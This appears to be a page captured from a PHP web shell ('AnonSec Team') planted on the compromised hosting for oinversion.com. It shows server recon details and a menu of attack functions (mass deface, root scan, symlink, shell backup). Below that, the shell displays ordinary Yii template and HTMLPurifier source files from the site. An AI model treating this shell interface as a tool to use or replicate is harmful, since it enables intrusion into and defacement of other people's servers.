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-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : oinversion ( 10001)
PHP Version : 5.6.40
Disable Function : opcache_get_status
Domains : 5 Domains
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/oinversion.com/.trash/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/vhosts/oinversion.com/.trash/file.php.tar
var/www/vhosts/oinversion.com/httpdocs/frontend/themes/oinversion/views/site/file.php000064400000035120151677634260025360 0ustar00<?php
use common\helpers\Translate;
use frontend\widgets\Gallery;
use common\helpers\Configuration;
use common\models\FlatPage;
use yii\bootstrap\ActiveForm;
use yii\helpers\Html;
use common\widgets\Alert;
use common\modules\resizer\helpers\ResizeFilter;

/* @var $this yii\web\View */

$assetBundle = $this->getAssetManager()->getBundle('frontend\assets\OinversionAssetBundle');
$this->title = $project->title;

?>
<div class="container site-file">
    <div class="row top-block">
        <div class="col-sm-12">
            <?= Alert::widget() ?>
            <h1><?= $project->title ?></h1>
        </div>
    </div>
    <div class="row">
        <div class="col-sm-9 photo-slider">
            <ul class="bxslider-projects project-pictures">
              <?php if (is_array($project->projectImages) && count($project->projectImages)): ?>
                <?php foreach ($project->projectImages as $picture): ?>
                  <li>
                      <img src="<?= ResizeFilter::apply('uploads/projects/'.$picture->file_name, 'ProjectLarge'); ?>"/>
                  </li>
                <?php endforeach; ?>
              <?php else: ?>
                <li>
                    <img src="<?= $assetBundle->baseUrl.'/img/no-image.png' ?>"/>
                </li>
              <?php endif; ?>
              
            </ul>
            <div class="col-sm-3 resp">
                <div class="sidebar">
                    <div class="location first">
                        <div class="img-container">
                            <img class="map-pin" alt="Ubicación" src="<?= $assetBundle->baseUrl ?>/img/placeholder.svg"/>
                        </div>   
                        <h4 class="item-title"><?= $project->city ?></h4>
                    </div>
                    <div class="location">
                        <div class="img-container">
                            <img class="map-pin" alt="Inversores" src="<?= $assetBundle->baseUrl ?>/img/inversores.svg"/>
                        </div>   
                        <h4 class="item-title"><?= $project->investors ?> <?= \Yii::t('app', 'projects.investors', ['n' => $project->investors]) ?></h4>
                    </div>
                    <?php if(!empty($project->term)){ ?>
                        <div class="location">
                            <div class="img-container">
                                <img class="map-pin" alt="Plazo" src="<?= $assetBundle->baseUrl ?>/img/calendario.svg"/>
                            </div>
                            <h4 class="item-title"><?= $project->term ?> <?= Yii::t('app', 'projects.term', ['n' => $project->term]) ?></h4>
                        </div>
                    <?php } ?>
                    <div class="location blue">
                        <div class="top-location">
                            <img class="map-pin" alt="Inversión" src="<?= $assetBundle->baseUrl ?>/img/ico-inversion-realizada.svg"/><h4><?= Yii::t('app', 'projects.investment-other') ?></h4>
                        </div>
                        <div class="bottom-location">
                            <h3 class="item-title"><?= number_format($project->calculateInvestment(), 0, ',', '.'); ?> €</h3>
                        </div>
                    </div>
                    <div class="location purple">
                        <div class="top-location">
                            <img class="map-pin" alt="Rentabilidad" src="<?= $assetBundle->baseUrl ?>/img/ico-rentabilidad-obtenida.svg"/><h4><?= Yii::t('app', 'projects.profit-other') ?></h4>
                        </div>
                        <div class="bottom-location">
                            <h3 class="item-title"><?= number_format($project->calculateProfit(), 0, ',', '.').' €'  ?></h3>
                            <h5><?= '('.number_format($project->profit,0, ",", ".").' %)' ?></h5>
                        </div>
                    </div>
                    <div class="contact-us">
                        <p><?= Yii::t('app', 'projects.contact-text') ?></p>
                        <a class="btn button-contact" href="<?php echo FlatPage::getUrlFor('contacto'); ?>"><?= \Yii::t('app', 'projects.contact-button') ?></a>
                    </div>
                </div>
            </div>
            <div class="project-data">
                <h2 class="description"><?= Yii::t('app', 'projects.description') ?></h2>
                <div class="description-text"><?= $project->description ?></div>
                <h2><?= Yii::t('app', 'projects.info') ?></h2>
                <div class="row">
                    <div class="col-sm-6 left-data">
                        <div class="top-data blue">
                            <img class="map-pin" alt="Inversión" src="<?= $assetBundle->baseUrl ?>/img/ico-inversion-realizada.svg"/><h4><?= Yii::t('app', 'projects.investment-other') ?></h4>
                        </div>
                        <ul>
                            <li><h4 class="pull-left item-text"><?= Yii::t('app', 'projects.total-investment') ?></h4><h3 class="top-value pull-right"><?= number_format($project->calculateInvestment(), 0, ',', '.')  ?> €</h3></li>
                            <?php if($project->price_buy > 0){ ?>
                                <li><h4 class="pull-left item-text"><?= Yii::t('app', 'projects.chart-buy') ?></h4><h3 class="item-value pull-right"><?= number_format($project->price_buy, 0, ',', '.')  ?> €</h3></li>
                            <?php } ?>
                            <?php if($project->price_tax > 0){ ?>
                                <li><h4 class="pull-left item-text"><?= Yii::t('app', 'projects.chart-tax') ?></h4><h3 class="item-value pull-right"><?= number_format($project->price_tax, 0, ',', '.')  ?> €</h3></li>
                            <?php } ?>
                            <?php if($project->price_reform > 0){ ?>
                                <li><h4 class="pull-left item-text"><?= Yii::t('app', 'projects.chart-reform') ?></h4><h3 class="item-value pull-right"><?= number_format($project->price_reform, 0, ',', '.')  ?> €</h3></li>
                            <?php } ?>
                        </ul>
                        <canvas id="myChart" height="350"></canvas>
                    </div>
                    <div class="col-sm-6 right-data">
                        <div class="top-data purple">
                            <img class="map-pin" alt="Rentabilidad" src="<?= $assetBundle->baseUrl ?>/img/ico-rentabilidad-obtenida.svg"/><h4><?= Yii::t('app', 'projects.benefit') ?></h4>
                        </div>
                        <ul>
                            <li><h4 class="pull-left item-text"><?= Yii::t('app', 'projects.benefit-short') ?></h4><h3 class="top-value pull-right green"><?= number_format($project->calculateProfit(), 0, ',', '.')  ?> €</h3></li>
                            <li class="last"><h4 class="pull-left item-text"><?= Yii::t('app', 'projects.profit-long') ?></h4><h3 class="item-value pull-right green"><?= number_format($project->calculateProfit()/$project->investors, 0, ',', '.') ?> € <span class="percent"><?= '('.number_format($project->profit,0, ",", ".").' %)' ?></span></h3></li>
                            <li><h5 class="pull-left item-text-2"><?= Yii::t('app', 'projects.by-investor') ?></h5></li>
                        </ul>
                        <canvas id="myChart2" height="210"></canvas>
                    </div>
                </div>
            </div>
             <?php if(!empty($project->latitude) && !empty($project->longitude)){ ?>
                <div class="project-data">
                    <h2><?= Yii::t('app', 'projects.location') ?></h2>
                    <div id="map" style="height: 350px;"></div>
                </div>
            <?php } ?>
            <?php if(!empty($project->projectBlueprints)){ ?>
                <div class="project-data">
                    <h2><?= Yii::t('app', 'projects.blueprints') ?></h2>
                    <?php            
                        foreach ($project->projectBlueprints as $blueprint){
                    ?>
                    <a href="<?= Yii::$app->params['frontendURL'].'uploads/projects-blueprint/'.$blueprint->file_name ?>" target="_blank">
                      <img class="blueprint" src="<?= ResizeFilter::apply('uploads/projects-blueprint/'.$blueprint->file_name, 'ProjectLarge'); ?>"/>
                    </a>
                    
                    <?php
                        }
                    ?>
                </div>
            <?php } ?>
        </div>
        <div class="col-sm-3 no-resp">
            <div class="sidebar">
                <div class="location first">
                    <div class="img-container">
                        <img class="map-pin" alt="Ubicación" src="<?= $assetBundle->baseUrl ?>/img/placeholder.svg"/>
                    </div>   
                    <h4 class="item-title"><?= $project->city ?></h4>
                </div>
                <div class="location">
                    <div class="img-container">
                        <img class="map-pin" alt="Inversores" src="<?= $assetBundle->baseUrl ?>/img/inversores.svg"/>
                    </div>   
                    <h4 class="item-title"><?= $project->investors ?> <?= \Yii::t('app', 'projects.investors', ['n' => $project->investors]) ?></h4>
                </div>
                <?php if(!empty($project->term)){ ?>
                    <div class="location">
                        <div class="img-container">
                            <img class="map-pin" alt="Plazo" src="<?= $assetBundle->baseUrl ?>/img/calendario.svg"/>
                        </div>
                        <h4 class="item-title"><?= $project->term ?> <?= Yii::t('app', 'projects.term', ['n' => $project->term]) ?></h4>
                    </div>
                <?php } ?>
                <div class="location blue">
                    <div class="top-location">
                        <img class="map-pin" alt="Inversión" src="<?= $assetBundle->baseUrl ?>/img/ico-inversion-realizada.svg"/><h4><?= Yii::t('app', 'projects.investment-other') ?></h4>
                    </div>
                    <div class="bottom-location">
                        <h3 class="item-title"><?= number_format($project->calculateInvestment(), 0, ',', '.'); ?> €</h3>
                    </div>
                </div>
                <div class="location purple">
                    <div class="top-location">
                        <img class="map-pin" alt="Rentabilidad" src="<?= $assetBundle->baseUrl ?>/img/ico-rentabilidad-obtenida.svg"/><h4><?= Yii::t('app', 'projects.profit-other') ?></h4>
                    </div>
                    <div class="bottom-location">
                        <h3 class="item-title"><?= number_format($project->calculateProfit(), 0, ',', '.').' €'  ?></h3>
                        <h5><?= '('.number_format($project->profit,2, ",", ".").' %)' ?></h5>
                    </div>
                </div>
                <div class="contact-us">
                    <p><?= Yii::t('app', 'projects.contact-text') ?></p>
                    <a class="btn button-contact" href="<?php echo FlatPage::getUrlFor('contacto'); ?>"><?= \Yii::t('app', 'projects.contact-button') ?></a>
                </div>
            </div>
        </div>
    </div>
    <div class="row separation-line forms-options">
        <div class="col-sm-6 col-xs-12 options">
            <img alt="Información" src="<?= $assetBundle->baseUrl ?>/img/icon_inform.svg"/>
            <h2><?= Yii::t('app', 'patrimony.contact-title') ?></h2>
            <h3><?= Yii::t('app', 'patrimony.contact-text') ?></h3>
        </div>
        <div id="contact-form" class="col-sm-offset-1 col-sm-4 col-xs-offset-1 col-xs-10 form form-block">

            <?php $form = ActiveForm::begin([
                'id' => 'contact-form-file',
                'enableClientValidation' => false,
            ]); ?>

            <?= $form->field($model, 'name')->label(false)->textInput(['placeholder' => Yii::t('app', 'contact.name')]) ?>

            <?= $form->field($model, 'email')->label(false)->textInput(['placeholder' => Yii::t('app', 'contact.email')]) ?>

            <?= $form->field($model, 'phone')->textInput()->label(false)->textInput(['placeholder' => Yii::t('app', 'contact.phone')]) ?>

            <?= $form->field($model, 'body')->textArea(['rows' => 6, 'placeholder' => Yii::t('app', 'contact.body')])->label(false) ?>
          
            <div class="form-group required <?php if ($model->hasErrors('g_recaptcha_response')): ?>has-error<?php endif; ?>">
              <div class="g-recaptcha" data-sitekey="<?=Yii::$app->params['recaptcha_site_key'];?>"></div>
              <?php if ($model->hasErrors('g_recaptcha_response')): ?>
                <?php echo Html::error($model, 'g_recaptcha_response', [
                    'tag'=>'p',
                    'class'=>'help-block help-block-error',
                ]); ?>
              <?php endif; ?>
            </div>

            <?= $form->field($model, 'body_more')->textInput(['class'=>'hidden'])->label(false)?>

            <div class="form-group">
                <?= Html::submitButton(\Yii::t('app', 'common.send'), ['class' => 'btn button-secondary button-text', 'name' => 'contact-button']) ?>
            </div>

            <div class="terms">
                <p class="text">
                    <?= \Yii::t('app', 'common.terms')?>
                </p>
            </div>

            <?php ActiveForm::end(); ?>
        </div>
    </div>
</div>
<?php
$data = array();
if($project->price_buy > 0)
    $data['tags']['price_buy'] = \Yii::t('app', 'projects.chart-buy');
    $data['value']['price_buy'] = $project->price_buy;
if($project->price_tax > 0)
    $data['tags']['price_tax'] = \Yii::t('app', 'projects.chart-tax');
    $data['value']['price_tax'] = $project->price_tax;
if($project->price_buy > 0)
    $data['tags']['price_reform'] = \Yii::t('app', 'projects.chart-reform');
    $data['value']['price_reform'] = $project->price_reform;
    
$data2 = array();
$data2['tags']['profit'] = \Yii::t('app', 'projects.profit');
$data2['value']['profit'] = $project->calculateProfit();
$data2['tags']['benefit'] = \Yii::t('app', 'projects.benefit-short');
$data2['value']['benefit'] = $project->calculateProfit()/$project->investors;
    
$this->registerJs('investmentChart('.json_encode($data).')',  \yii\web\View::POS_LOAD); 
$this->registerJs('profitChart('.json_encode($data2).')',  \yii\web\View::POS_LOAD); 
if(!empty($project->latitude) && !empty($project->longitude)){
    $latLngs[]=array(
                'latitude'=>$project->latitude,
                'longitude'=>$project->longitude
              );
    $this->registerJs('initOfficeMap('.json_encode($latLngs).')',  \yii\web\View::POS_LOAD); }
?>

vhosts/oinversion.com/httpdocs/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/file.php000064400000002374151700622160030673 0ustar00var/www<?php

/**
 * Validates file as defined by RFC 1630 and RFC 1738.
 */
class HTMLPurifier_URIScheme_file extends HTMLPurifier_URIScheme
{
    /**
     * Generally file:// URLs are not accessible from most
     * machines, so placing them as an img src is incorrect.
     * @type bool
     */
    public $browsable = false;

    /**
     * Basically the *only* URI scheme for which this is true, since
     * accessing files on the local machine is very common.  In fact,
     * browsers on some operating systems don't understand the
     * authority, though I hear it is used on Windows to refer to
     * network shares.
     * @type bool
     */
    public $may_omit_host = true;

    /**
     * @param HTMLPurifier_URI $uri
     * @param HTMLPurifier_Config $config
     * @param HTMLPurifier_Context $context
     * @return bool
     */
    public function doValidate(&$uri, $config, $context)
    {
        // Authentication method is not supported
        $uri->userinfo = null;
        // file:// makes no provisions for accessing the resource
        $uri->port = null;
        // While it seems to work on Firefox, the querystring has
        // no possible effect and is thus stripped.
        $uri->query = null;
        return true;
    }
}

// vim: et sw=4 sts=4

Anon7 - 2022
AnonSec Team